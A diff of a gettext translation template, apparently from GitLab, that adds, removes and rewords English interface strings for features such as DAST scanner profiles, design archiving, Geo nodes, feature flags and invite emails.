msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
